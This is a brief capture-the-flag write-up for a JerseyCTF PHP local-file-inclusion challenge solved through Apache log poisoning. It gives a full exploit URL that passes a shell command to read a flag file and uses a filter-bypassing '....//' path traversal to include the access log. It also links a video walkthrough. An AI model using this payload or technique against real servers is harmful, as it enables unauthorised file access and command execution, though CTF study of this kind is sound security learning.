This was a PHP LFI with log poisoning

Solution:
```
https://jerseyctf-poisoned.chals.io/?poison=cat%20/secret_fl4g.txt&page=....//....//....//....//../var/log/apache2/access.log
```

You had to guess /var/log/apache2/access.log. I think the log injection was created by the challenge author, so you didn't need to do the log injection yourself.

A full video walkthrough can be found here:
[https://youtu.be/2eLzzm2pLxk?t=213](https://youtu.be/2eLzzm2pLxk?t=213)